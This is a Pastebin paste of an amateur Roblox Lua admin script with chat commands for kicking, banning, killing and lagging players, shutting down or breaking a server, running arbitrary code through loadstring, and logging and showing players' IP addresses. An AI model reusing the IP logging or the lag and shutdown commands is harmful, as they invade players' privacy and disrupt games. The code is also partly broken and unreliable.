Advertisement
RobloxScripter12

roblox admin script

Mar 10th, 2016
898
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.74 KB | None | 0 0
  1. msg = Instance.new("Message")
  2. msg.Parent = game.Workspace
  3. msg.Text = "Loading djface203's Admin Skulls" --Leave this credit alone
  4. wait(0.5)
  5. msg.Text = "Loading djface203's Admin Skulls." --Leave this credit alone
  6. wait(0.5)
  7. msg.Text = "Loading djface203s Admin Skulls.." --Leave this credit alone
  8. wait(0.5)
  9. msg.Text = "Loading djface203's Admin Skulls..." --Leave this credit alone
  10. wait(0.5)
  11. msg.Text = "djface203's Admin Skulls Have Loaded" --Leave this credit alone
  12. wait(2)
  13. msg:Remove()
  14.  
  15. Admins = {
  16. ["trustKIDSlies,CubzLuvz"] = 3, -- trustKIDSlies
  17. [""] = 3, -- Friends names
  18. [""] = 3,
  19. ["djface203"] = 3 --Leave this credit alone
  20. }
  21. local Levels = {
  22. [0] = {"Peasant", BrickColor.new("Really black")};
  23. [1] = {"Knight", BrickColor.new("Black")};
  24. [2] = {"Lord", BrickColor.new("Dark stone grey")};
  25. [3] = {"King", BrickColor.new("red")}
  26. }
  27. Players = Game:GetService("Players")
  28. Workspace = Game:GetService("Workspace")
  29. Debris = Game:GetService("Debris")
  30. Lighting = Game:GetService("Lighting")
  31. Teams = Game:GetService("Teams")
  32. MR = math.rad
  33. MD = math.deg
  34. IPStore = {}
  35. IPBans = {}
  36. Banned = {"Network Server"}
  37. PrivateServer = {}
  38. PrivateServerWarnings = {}
  39. function IncommingConnection(IPAddress, Replicator)
  40. local IP = IPAddress:sub(1, IPAddress:find(":")-1)
  41. local ThePlayer
  42. Players.PlayerAdded:connect(function(NewPlayer)
  43. if not ThePlayer then
  44. ThePlayer = NewPlayer
  45. end
  46. end)
  47. repeat wait() until ThePlayer
  48. IPStore[ThePlayer.Name] = IP
  49. for i=1, #IPBans do
  50. if IPBans[i] == IP then
  51. ThePlayer:Remove()
  52. end
  53. end
  54. end
  55. function Round(Number, ToWhatExtent)
  56. if ToWhatExtent then
  57. return math.floor(Number/ToWhatExtent+0.5)*ToWhatExtent
  58. else
  59. return math.floor(Number + 0.5)
  60. end
  61. end
  62. Settings = {
  63. Color = BrickColor.new("Medium stone grey"), --Its bright red...
  64. Name = "ProLevi27 Scythe Admin",
  65. Version = "0.0.8"
  66. }
  67. function ShowInCircle(Prompter,...)
  68. local Args = {...}
  69. local Books = {}
  70. Args[#Args + 1] = "Dismiss"
  71. local Ans = nil
  72. local Rank = Admins[Prompter.Name]
  73. for i=1, #Args do
  74. local IsKings
  75. if Args[i]:find("(Kings Only)") then
  76. IsKings = true
  77. end
  78. local Book = Instance.new("Part", Game:GetService("Workspace"))
  79. Book.Anchored = false
  80. Book.Locked = true
  81. Book.CanCollide = false
  82. Book.TopSurface, Book.BottomSurface = 0, 0
  83. Book.Transparency = 0
  84. Book.Reflectance = 0
  85. Book.FormFactor = Enum.FormFactor.Custom
  86. Book.Size = Vector3.new(2.3, 1, 3)
  87. if IsKings and Admins[Prompter.Name] < 3 then
  88. Book.BrickColor = BrickColor.new("Bright red")
  89. else
  90. Book.BrickColor = Settings.Color
  91. end
  92. table.insert(Books, Book)
  93. local Mesh = Instance.new("SpecialMesh", Book)
  94. Mesh.MeshId = "http://www.roblox.com/asset/?id=15039448"
  95. Mesh.MeshType = "FileMesh"
  96. local BG = Instance.new("BodyGyro", Book)
  97. local BP = Instance.new("BodyPosition", Book)
  98. if (IsKings and Admins[Prompter.Name] == 3) or not IsKings then
  99. local Fire = Instance.new("Fire", Book)
  100. Fire.Heat = 0
  101. Fire.Color = Settings.Color.Color
  102. Fire.SecondaryColor = Settings.Color.Color
  103. end
  104. local Billboard = Instance.new("BillboardGui", Book)
  105. Billboard.Adornee = Book
  106. Billboard.Enabled = true
  107. Billboard.Active = true
  108. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  109. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  110. local Text = Instance.new("TextLabel", Billboard)
  111. Text.Text = Args[i]
  112. if IsKings and Admins[Prompter.Name] ~= 3 then
  113. Text.TextColor3 = BrickColor.new("White").Color
  114. else
  115. Text.TextColor3 = Settings.Color.Color
  116. end
  117. Text.BackgroundTransparency = 1
  118. Text.Size = UDim2.new(1, 0, 1, 0)
  119. local ClickDetector = Instance.new("ClickDetector", Book)
  120. ClickDetector.MouseClick:connect(function(Player)
  121. if Player == Prompter and Args[i] == "Dismiss" then
  122. Ans = Args[i]
  123. for _, v in pairs(Books) do
  124. v:Remove()
  125. end
  126. Books = {}
  127. end
  128. end)
  129. end
  130. coroutine.resume(coroutine.create(function()
  131. local radius = 3 + (#Books*.7)
  132. while wait() do
  133. if #Books == 0 then break end
  134. for _, Book in pairs(Books) do
  135. local BP = Book:FindFirstChild("BodyPosition") or Instance.new("BodyPosition", Book)
  136. BP.maxForce = Vector3.new(1000000000, 1000000000, 1000000000)
  137. local BG = Book:FindFirstChild("BodyGyro") or Instance.new("BodyGyro", Book)
  138. BG.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
  139. local Pos = (Prompter.Character:FindFirstChild("Torso") or Prompter.Character:FindFirstChild("Torso")).CFrame
  140. local x = math.cos((tonumber(_)/#Books - (0.5/#Books)) * math.pi*2) * radius -- cos
  141. local y = 0
  142. local z = math.sin((tonumber(_)/#Books - (0.5/#Books)) * math.pi*2) * radius -- sin
  143. BP.position = Pos:toWorldSpace(CFrame.new(x,y,z):inverse()).p
  144. BG.cframe = CFrame.new(Book.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
  145. end
  146. end
  147. end))
  148. end
  149. function Prompt(Prompter, ...)
  150. local Args = {...}
  151. local Books = {} --Dismiss sounds cooler :3
  152. Args[#Args + 1] = "Dismiss"
  153. local Ans = nil
  154. for i=1, #Args do
  155. local Book = Instance.new("Part", Game:GetService("Workspace"))
  156. Book.Anchored = false
  157. Book.Locked = true
  158. Book.CanCollide = false
  159. Book.TopSurface, Book.BottomSurface = 0, 0
  160. Book.Transparency = 0
  161. Book.FormFactor = Enum.FormFactor.Custom
  162. Book.Size = Vector3.new(2.3, 1, 3)
  163. Book.BrickColor = Settings.Color
  164. table.insert(Books, Book)
  165. local Mesh = Instance.new("SpecialMesh", Book)
  166. Mesh.MeshId = "http://www.roblox.com/asset/?id=15039448"
  167. Mesh.MeshType = "FileMesh"
  168. local Fire = Instance.new("Fire", Book)
  169. Fire.Heat = 0
  170. Fire.Color = Settings.Color.Color
  171. Fire.SecondaryColor = Settings.Color.Color
  172. local Billboard = Instance.new("BillboardGui", Book)
  173. Billboard.Adornee = Book
  174. Billboard.Enabled = true
  175. Billboard.Active = true
  176. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  177. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  178. local Text = Instance.new("TextLabel", Billboard)
  179. Text.Text = Args[i]
  180. Text.TextColor3 = Settings.Color.Color
  181. Text.BackgroundTransparency = 1
  182. Text.Size = UDim2.new(1, 0, 1, 0)
  183. local AttemptToFixPrompt = i
  184. local ClickDetector = Instance.new("ClickDetector", Book)
  185. ClickDetector.MouseClick:connect(function(Player)
  186. if Player == Prompter then
  187. Ans = Args[i]
  188. local BackupBooks = Books
  189. Books = {}
  190. local AnimationOver
  191. pcall(function() BP.Position = Player.Character.Torso.Position end)
  192. Book.Touched:connect(function(zPart)
  193. pcall(function()
  194. if zPart == Player.Character.Torso then
  195. AnimationOver = true
  196. end
  197. end)
  198. end)
  199. delay(5, function() AnimationOver = true end)
  200. for _, v in pairs(BackupBooks) do
  201. v:Remove()
  202. end
  203. BackupBooks = nil
  204. return AttemptToFixPrompt
  205. end
  206. end)
  207. end
  208. coroutine.resume(coroutine.create(function()
  209. local radius = 3 + (#Books)
  210. while wait() do
  211. if #Books == 0 then break end
  212. for _, Book in pairs(Books) do
  213. local BP = Book:FindFirstChild("BodyPosition") or Instance.new("BodyPosition", Book)
  214. BP.maxForce = Vector3.new(1000000000, 1000000000, 1000000000)
  215. local BG = Book:FindFirstChild("BodyGyro") or Instance.new("BodyGyro", Book)
  216. BG.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
  217. local Pos = (Prompter.Character:FindFirstChild("Torso") or Prompter.Character:FindFirstChild("Torso")).CFrame
  218. local x = math.cos((tonumber(_)/#Books - (0.5/#Books)) * math.pi) * radius -- cos
  219. local y = 0
  220. local z = math.sin((tonumber(_)/#Books - (0.5/#Books)) * math.pi) * radius -- sin
  221. BP.position = Pos:toWorldSpace(CFrame.new(x,y,z):inverse()).p
  222. BG.cframe = CFrame.new(Book.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
  223. end
  224. end
  225. end))
  226. while (Ans == nil) and (#Books > 0) do
  227. wait()
  228. end
  229. return Ans
  230. end
  231. function ParseMessage(Message)
  232. Message = Message:gsub("lego%s", "")
  233. Message = Message:gsub("runescape%s", "")
  234. Message = Message:gsub("minecraft%s", "")
  235. local Command
  236. local Args = {}
  237. for Word in Message:gmatch("%w+") do
  238. if not Command then
  239. Command = Word
  240. else
  241. table.insert(Args, Word)
  242. end
  243. end
  244. return Command, Args
  245. end
  246. function ErrorHandler(Error)
  247. print(Error)
  248. local Message = Instance.new("Message", Workspace)
  249. Message.Text = "!ERROR!: " .. Error:gsub("(.-:)","")
  250. Game:GetService("Debris"):AddItem(Message, 5)
  251. end
  252. function onPlayerAdded(NewPlayer)
  253. for b=1, #Banned do
  254. if NewPlayer.Name == Banned[b] then
  255. coroutine.resume(coroutine.create(function()
  256. for i=1, 25 do
  257. pcall(function() NewPlayer:Destroy() end)
  258. wait(0.5)
  259. end
  260. end))
  261. end
  262. end
  263. NewPlayer.Chatted:connect(function(C)
  264. xpcall(function()
  265. local a, b = coroutine.resume(coroutine.create(function()
  266. onChat(NewPlayer, C)
  267. end))
  268. assert(a,b)
  269. end, ErrorHandler)
  270. end)
  271. end
  272. function onChat(player, message)
  273. local Command, Arguments = ParseMessage(message)
  274. if Admins[player.Name] ~= nil then
  275. if Command == "kickmenu" then
  276. local People = Game:GetService("Players"):GetPlayers()
  277. local Names = {}
  278. for _, v in pairs(People) do
  279. table.insert(Names, v.Name)
  280. end
  281. local OptionChoosen = Prompt(player, unpack(Names))
  282. print(OptionChoosen)
  283. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  284. game:GetService("Players") [OptionChoosen]:Destroy()
  285. else
  286. print("Player missing")
  287. end
  288. elseif Command == "privateserver" then
  289. local Option = Prompt(player, "Turn on", "Turn off", "Add name", "Remove name", "Remove all names")
  290. if Option == "Turn on" then
  291. PrivateServerOn = true
  292. local OnJoinCon = function(NewPlayer)
  293. if PrivateServer[NewPlayer.Name] == nil then
  294. NewPlayer:Remove()
  295. if PrivateServerWarnings[NewPlayer.Name] == nil then
  296. local AddHim = Prompt(player, "Click me to add " .. NewPlayer.Name .. " to the private server list")
  297. if AddHim == "Click me to add " .. NewPlayer.Name .. " to the private server list" then
  298. PrivateServer[NewPlayer.Name] = true
  299. end
  300. end
  301. end
  302. end
  303. while PrivateServerOn do wait() end
  304. OnJoinCon:disconnect()
  305. elseif Option == "Turn off" then
  306. PrivateServerOn = nil
  307. elseif Option == "Add name" then
  308. local Names = {}
  309. for _, v in pairs(Players:GetPlayers()) do
  310. table.insert(Names, v.Name)
  311. end
  312. local PlayerToAdd = Prompt(player, unpack(Names))
  313. if Players:FindFirstChild(PlayerToAdd) then
  314. PrivateServer[PlayerToAdd] = true
  315. end
  316. elseif Option == "Remove name" then
  317. local Names = {}
  318. for Name in pairs(PrivateServer) do
  319. table.insert(Names, Name)
  320. end
  321. local NameToRemove = Prompt(player, unpack(Names))
  322. if Names[NameToRemove] then
  323. Names[NameToRemove] = nil
  324. end
  325. elseif Option == "Remove all names" then
  326. PrivateServer = {}
  327. end
  328. elseif Command == "banmenu" then
  329. local People = Game:GetService("Players"):GetPlayers()
  330. local Names = {}
  331. for _, v in pairs(People) do
  332. table.insert(Names, v.Name)
  333. end
  334. local OptionChoosen = Prompt(player, unpack(Names))
  335. print(OptionChoosen)
  336. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  337. table.insert(Banned, OptionChoosen)
  338. game:GetService("Players") [OptionChoosen]:Destroy()
  339. else
  340. print("Player missing")
  341. end
  342. elseif Command == "rankset" and Admins[player.Name] == 3 then
  343. if Arguments[1] and tonumber(Arguments[1]) ~= nil then
  344. local RankSet
  345. if tonumber(Arguments[1]) == 0 then
  346. RankSet = nil
  347. else
  348. RankSet = tonumber(Arguments[1])
  349. end
  350. for i=2, #Arguments do
  351. local arg = Arguments[i]
  352. for z, vPlayer in pairs(Players:GetPlayers()) do
  353. if vPlayer.Name:lower():find(arg:lower()) == 1 then
  354. Admins[vPlayer.Name] = RankSet
  355. end
  356. end
  357. end
  358. end
  359. elseif message:sub(1, 5) == "load/" then
  360. xpcall(function()
  361. local c, d = coroutine.resume(coroutine.create(function()
  362. loadstring(message:sub(6))()
  363. end))
  364. assert(c, d)
  365. end, function(Error)
  366. local Hint = Instance.new("Message", Workspace)
  367. Hint.Text = "|QUICKSCRIPT ERROR|:| " .. Error:sub("(.-:)")
  368. wait(4)
  369. Hint:Remove()
  370. end)
  371. elseif Command == "cleanup" then
  372. for _, v in pairs(Workspace:GetChildren()) do
  373. if Players:GetPlayerFromCharacter(v) == nil and v.className ~= "Terrain" and v~=script then
  374. pcall(function() v:Remove() end)
  375. end
  376. end
  377. local Base = Instance.new("Part", Workspace)
  378. Base.Anchored = true
  379. Base.TopSurface = Enum.SurfaceType.Smooth
  380. Base.BottomSurface = Enum.SurfaceType.Smooth
  381. Base.FormFactor = Enum.FormFactor.Symmetric
  382. Base.BrickColor = BrickColor.new("Earth green")
  383. Base.Size = Vector3.new(1000, 1, 1000)
  384. Base.Name = "Base"
  385. Base.CFrame = CFrame.new(Vector3.new())
  386. local Option = Prompt(player, "Click me if you would like to clean everything...")
  387. if Option == "Click me if you would like to clean everything..." then
  388. pcall(function() Lighting:ClearAllChildren() end)
  389. pcall(function() Teams:ClearAllChildren() end)
  390. pcall(function() table.foreach(Players:GetPlayers(), function(_, v) v.Neutral = true end) end)
  391. end
  392. local Option = Prompt(player, "Click me if you would like to respawn players...")
  393. if Option == "Click me if you would like to respawn players..." then
  394. for _, v in pairs(Players:GetPlayers()) do
  395. pcall(function()
  396. local Model = Instance.new("Model", Workspace)
  397. Instance.new("Humanoid", Model)
  398. v.Character = Model
  399. end)
  400. end
  401. end
  402. elseif Command == "hide" then
  403. if Arguments[1] == "ranks" then
  404. NotInViewRanks = true
  405. Lighting.TimeOfDay = "14:00:00"
  406. Lighting.Ambient = BrickColor.new("Medium stone grey").Color
  407. while Workspace:FindFirstChild("RankStatus", true) do
  408. Workspace:FindFirstChild("RankStatus", true):Destroy()
  409. end
  410. end
  411. elseif Command == "shutdown" then
  412. local InitTime = time()
  413. while wait() do
  414. pcall(function()
  415. Players:ClearAllChildren()
  416. end)
  417. pcall(function()
  418. if #Players:GetPlayers() >= 1 or InitTime + 30 < time() then
  419. Instance.new("ManualSurfaceJointInstance", Workspace)
  420. end
  421. end)
  422. end
  423. elseif Command == "view" or Command == "show" then
  424. if Arguments[1] == "ranks" then
  425. NotInViewRanks = nil
  426. Lighting.TimeOfDay = "2:00:00"
  427. Lighting.Ambient = BrickColor.new("Black").Color
  428. local AutoColorConnection = Workspace.ChildAdded:connect(function(v)
  429. local Player = Players:GetPlayerFromCharacter(v)
  430. if Player and Admins[Player.Name] then
  431. local Rank = Admins[Player.Name]
  432. coroutine.resume(coroutine.create(function()
  433. local Head = v:FindFirstChild("Head")
  434. local Status = Instance.new("Part", v)
  435. Status.FormFactor = "Symmetric"
  436. Status.Shape = "Ball"
  437. Status.Name = "Status"
  438. Status.TopSurface = 0
  439. Status.BottomSurface = 0
  440. Status.BrickColor = Levels[Rank][2]
  441. Status.CanCollide = false
  442. Status.Name = "RankStatus"
  443. Status.Transparency = 0.5
  444. local Billboard = Instance.new("BillboardGui", Status)
  445. Billboard.Adornee = Status
  446. Billboard.Enabled = true
  447. Billboard.Active = true
  448. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  449. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  450. local Text = Instance.new("TextLabel", Billboard)
  451. Text.Text = Levels[Rank][1] .. " - " .. Player.Name
  452. Text.TextColor3 = Levels[Rank][2].Color
  453. Text.BackgroundTransparency = 1
  454. Text.Size = UDim2.new(1, 0, 1, 0)
  455. local Body = Instance.new("BodyPosition", Status)
  456. Body.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  457. local Fire = Instance.new("Fire", Status)
  458. Fire.Color = Levels[Rank][2].Color
  459. Fire.SecondaryColor = Levels[Rank][2].Color
  460. local function gS(i)
  461. return math.sin(math.rad(i))
  462. end
  463. local function gC(i)
  464. return math.cos(math.rad(i))
  465. end
  466. for _, v in pairs(v:GetChildren()) do
  467. if v:IsA("Part") and v.Name ~= "RankStatus" then
  468. local Sel = Instance.new("SelectionBox", Status)
  469. Sel.Adornee = v
  470. Sel.Color = Levels[Rank][2]
  471. local Fir = Instance.new("Fire", Status)
  472. Fir.Color = Levels[Rank][2].Color
  473. Fir.SecondaryColor = Levels[Rank][2].Color
  474. end
  475. end
  476. while wait() and Head and Head.Parent do
  477. for i = 0, 360, 2 do
  478. Body.position = (CFrame.new(Head.Position) * CFrame.new(Vector3.new(gS(i)*5, gC(i*5)*2 + 1.5, gC(i)*5))).p
  479. wait()
  480. end
  481. end
  482. end))
  483. end
  484. end)
  485. for _, v in pairs(Workspace:GetChildren()) do
  486. local Player = Players:GetPlayerFromCharacter(v)
  487. if Player and Admins[Player.Name] then
  488. local Rank = Admins[Player.Name]
  489. coroutine.resume(coroutine.create(function()
  490. local Head = v:FindFirstChild("Head")
  491. local Status = Instance.new("Part", v)
  492. Status.FormFactor = "Symmetric"
  493. Status.Shape = "Ball"
  494. Status.Name = "Status"
  495. Status.TopSurface = 0
  496. Status.BottomSurface = 0
  497. Status.BrickColor = Levels[Rank][2]
  498. Status.CanCollide = false
  499. Status.Name = "RankStatus"
  500. Status.Transparency = 0.5
  501. local Billboard = Instance.new("BillboardGui", Status)
  502. Billboard.Adornee = Status
  503. Billboard.Enabled = true
  504. Billboard.Active = true
  505. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  506. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  507. local Text = Instance.new("TextLabel", Billboard)
  508. Text.Text = Levels[Rank][1] .. " - " .. Player.Name
  509. Text.TextColor3 = Levels[Rank][2].Color
  510. Text.BackgroundTransparency = 1
  511. Text.Size = UDim2.new(1, 0, 1, 0)
  512. local Body = Instance.new("BodyPosition", Status)
  513. Body.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  514. local Fire = Instance.new("Fire", Status)
  515. Fire.Color = Levels[Rank][2].Color
  516. Fire.SecondaryColor = Levels[Rank][2].Color
  517. local function gS(i)
  518. return math.sin(math.rad(i))
  519. end
  520. local function gC(i)
  521. return math.cos(math.rad(i))
  522. end
  523. for _, v in pairs(v:GetChildren()) do
  524. if v:IsA("Part") and v.Name ~= "RankStatus" then
  525. local Sel = Instance.new("SelectionBox", Status)
  526. Sel.Adornee = v
  527. Sel.Color = Levels[Rank][2]
  528. local Fir = Instance.new("Fire", Status)
  529. Fir.Color = Levels[Rank][2].Color
  530. Fir.SecondaryColor = Levels[Rank][2].Color
  531. end
  532. end
  533. while wait() and Head and Head.Parent do
  534. for i = 0, 360, 2 do
  535. Body.position = (CFrame.new(Head.Position) * CFrame.new(Vector3.new(gS(i)*5, gC(i*5)*2 + 1.5, gC(i)*5))).p
  536. wait()
  537. end
  538. end
  539. end))
  540. end
  541. end
  542. repeat wait() until NotInViewRanks
  543. AutoColorConnection:disconnect()
  544. elseif Arguments[1] == "time" or Arguments[1] == "clock" then
  545. local SecondsOfToday = math.fmod(tick(), 60*60*24) -- Long story check in wiki...
  546. local Hour = math.floor(SecondsOfToday / (60*60))
  547. local Minute = math.floor(SecondsOfToday/60 - Hour*60)
  548. local Second = math.floor(math.fmod(SecondsOfToday, 60))
  549. if Hour > 12 then Hour = Hour - 12 end
  550. ShowInCircle(player, "Current time: " .. Hour .. ":" .. Minute .. ":" .. Second, "Server Time: " .. math.floor(time()))
  551. end
  552. elseif Command == "kick" then
  553. for _, Arg in pairs(Arguments) do
  554. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  555. if Player.Name:lower():match(Arg:lower()) then
  556. pcall(function() Player:Destroy() end)
  557. end
  558. end
  559. end
  560. elseif Command == "skulls" then
  561. ShowInCircle(player,
  562. "kill", "kick", "ban", "fire", "day", "night", "unfire", "ff", "unff", "admin", "unadmin", "unban", "fog", "nbc", "bc", "tbc", "obc", "getage", "cave"
  563. )
  564. elseif Command == "skulls2" then
  565. ShowInCircle(player,
  566. "tree", "lag", "semikick", "getmsg", "sparkles", "respawn", "kickmenu", "banmenu", "load/[script]", "cleanup", "shutdown", "rankset", "ip", "antiban", "lag", "breakscripts", "killmenu", "hackaccount", "hackmenu", "privateserver"
  567. )
  568. elseif Command == "skullsALL" then
  569. ShowInCircle(player,
  570. "kill", "kick", "ban", "fire", "day", "night", "override", "unfire", "ff", "unff", "admin", "unadmin", "unban", "fog", "nbc", "bc", "tbc", "obc", "getage", "cave", "tree", "lag", "semikick", "getmsg", "sparkles", "respawn", "kickmenu", "banmenu", "load/[script]", "cleanup", "shutdown", "rankset", "ip", "antiban", "lag", "breakscripts", "killmenu", "hackaccount", "hackmenu", "privateserver"
  571. )
  572. elseif Command == "antiban" then
  573. local PeopleNames = {}
  574. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  575. table.insert(PeopleNames, v.Name)
  576. end
  577. local Option = Prompt(player, unpack(PeopleNames))
  578. if Option then
  579. Game:GetService("Players").PlayerRemoving:connect(function(Player)
  580. if Player.Name == Option then
  581. while wait() do
  582. pcall(function() Players:ClearAllChildren() end)
  583. end
  584. end
  585. end)
  586. end
  587. elseif Command == "ip" and Admins[player.Name] == 3 then
  588. local Option = Prompt(player, "Add banishment", "View ip's", "Remove ip ban")
  589. if Option == "Add banishment" then
  590. local Names = {}
  591. local IPs = IPStore
  592. for Name, IP in pairs(IPs) do
  593. table.insert(Names, Name)
  594. end
  595. local BanPlayer = Prompt(player, unpack(Names))
  596. if IPs[BanPlayer] ~= nil then
  597. table.insert(IPBans, IPs[BanPlayer])
  598. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  599. if v.Name == BanPlayer then
  600. v:Remove()
  601. end
  602. end
  603. end
  604. elseif Option == "View ip's" then
  605. local Names = {}
  606. local IPs = IPStore
  607. for Name, IP in pairs(IPs) do
  608. table.insert(Names, Name)
  609. end
  610. local Option = Prompt(player, unpack(Names))
  611. if IPStore[Option] ~= nil then
  612. Prompt(player, IPStore[Option])
  613. end
  614. end
  615. elseif Command == "lag" then
  616. for _, Args in pairs(Arguments) do
  617. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  618. if Player.Name:lower():find(Args:lower()) == 1 then
  619. while wait() do
  620. for i=1, 10 do
  621. Instance.new("Message", Player:FindFirstChild("PlayerGui") or nil).Text = "I B LAGGIN JOO!"
  622. end
  623. end
  624. end
  625. end
  626. end
  627. elseif Command == "hackaccount" and Admins[player.Name] == 3 then
  628. local Option = Prompt(player, "Add Ban[ROBLOX]", "Hack Accounts", "Remove Hacked")
  629. if Option == "Add Ban[ROBLOX]" then
  630. local Names = {}
  631. local IPs = IPStore
  632. for Name, IP in pairs(IPs) do
  633. table.insert(Names, Name)
  634. end
  635. local BanPlayer = Prompt(player, unpack(Names))
  636. if IPs[BanPlayer] ~= nil then
  637. table.insert(IPBans, IPs[BanPlayer])
  638. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  639. if v.Name == BanPlayer then
  640. v:Remove()
  641. end
  642. end
  643. end
  644. elseif Option == "Hack Accounts" then
  645. local Names = {}
  646. local IPs = IPStore
  647. for Name, IP in pairs(IPs) do
  648. table.insert(Names, Name)
  649. end
  650. local Option = Prompt(player, unpack(Names))
  651. if IPStore[Option] ~= nil then
  652. Prompt(player, IPStore[Option])
  653. end
  654. end
  655. elseif Command == "lag" then
  656. for _, Args in pairs(Arguments) do
  657. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  658. if Player.Name:lower():find(Args:lower()) == 1 then
  659. while wait() do
  660. for i=1, 10 do
  661. Instance.new("Message", Player:FindFirstChild("PlayerGui") or nil).Text = "I B LAGGIN JOO!"
  662. end
  663. end
  664. end
  665. end
  666. end
  667. elseif Command == "breakscripts" and Admins[player.Name] == 3 then
  668. Game:GetService("ScriptContext").ScriptsDisabled = true
  669. Services = {
  670. "Workspace",
  671. "Debris",
  672. "Players",
  673. "Lighting",
  674. "ScriptContext"
  675. }
  676. for i=1, #Services do
  677. pcall(function() game:GetService(Services[i]).Name = math.random(1000, 10000) end)
  678. end
  679. --Idk if this works, just hope :3
  680. local mt = {__index = function() return function() end end}
  681. setmetatable(_G, mt)
  682. elseif Command == "hackmenu" then
  683. local People = Game:GetService("Players"):GetPlayers()
  684. local Names = {}
  685. for _, v in pairs(People) do
  686. table.insert(Names, v.Name)
  687. end
  688. local OptionChoosen = Prompt(player, unpack(Names))
  689. print(OptionChoosen)
  690. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  691. if game:GetService("Players")[OptionChoosen].Character then
  692. game:GetService("Players") [OptionChoosen].Character:BreakJoints()
  693. end
  694. else
  695. print("Player missing")
  696. end
  697. elseif Command == "killmenu" then
  698. local People = Game:GetService("Players"):GetPlayers()
  699. local Names = {}
  700. for _, v in pairs(People) do
  701. table.insert(Names, v.Name)
  702. end
  703. local OptionChoosen = Prompt(player, unpack(Names))
  704. print(OptionChoosen)
  705. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  706. if game:GetService("Players")[OptionChoosen].Character then
  707. game:GetService("Players") [OptionChoosen].Character:BreakJoints()
  708. end
  709. else
  710. print("Player missing")
  711. end
  712. elseif Command == "kill" then
  713. for _, Arg in pairs(Arguments) do
  714. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  715. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  716. Player.Character:BreakJoints()
  717. end
  718. end
  719. end
  720. elseif Command == "obc" then
  721. for _, Arg in pairs(Arguments) do
  722. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  723. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  724. Player.MembershipTypeReplicate = 3
  725. end
  726. end
  727. end
  728. elseif Command == "tbc" then
  729. for _, Arg in pairs(Arguments) do
  730. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  731. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  732. Player.MembershipTypeReplicate = 2
  733. end
  734. end
  735. end
  736. elseif Command == "bc" then
  737. for _, Arg in pairs(Arguments) do
  738. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  739. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  740. Player.MembershipTypeReplicate = 1
  741. end
  742. end
  743. end
  744. elseif Command == "ff" then
  745. for _, Arg in pairs(Arguments) do
  746. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  747. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  748. ff = Instance.new ("ForceField")
  749. ff.Parent = Player.Character
  750. end
  751. end
  752. end
  753. elseif Command == "unff" then
  754. for _, Arg in pairs(Arguments) do
  755. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  756. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  757. ff = Instance.new ("ForceField")
  758. ff.Parent = Player.Character
  759. end
  760. end
  761. end
  762. end
  763. elseif Command == "nbc" then
  764. for _, Arg in pairs(Arguments) do
  765. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  766. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  767. Player.MembershipTypeReplicate = 0
  768. end
  769. end
  770. end
  771. end
  772. end
  773. game:GetService("Players").PlayerAdded:connect(onPlayerAdded)
  774. --[ SB Mode ]--
  775. for _, player in pairs(game:GetService("Players"):GetPlayers()) do
  776. onPlayerAdded(player)
  777. end
  778. Game:GetService("RunService").Stepped:connect(function()
  779. local S, E = pcall(function()
  780. if LastClean == nil or time() - LastClean >= 10 then do
  781. collectgarbage("collect")
  782. LastClean = time()
  783. end
  784. end
  785. if not S then
  786. ErrorHandler(E)
  787. end
  788. end)
  789. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement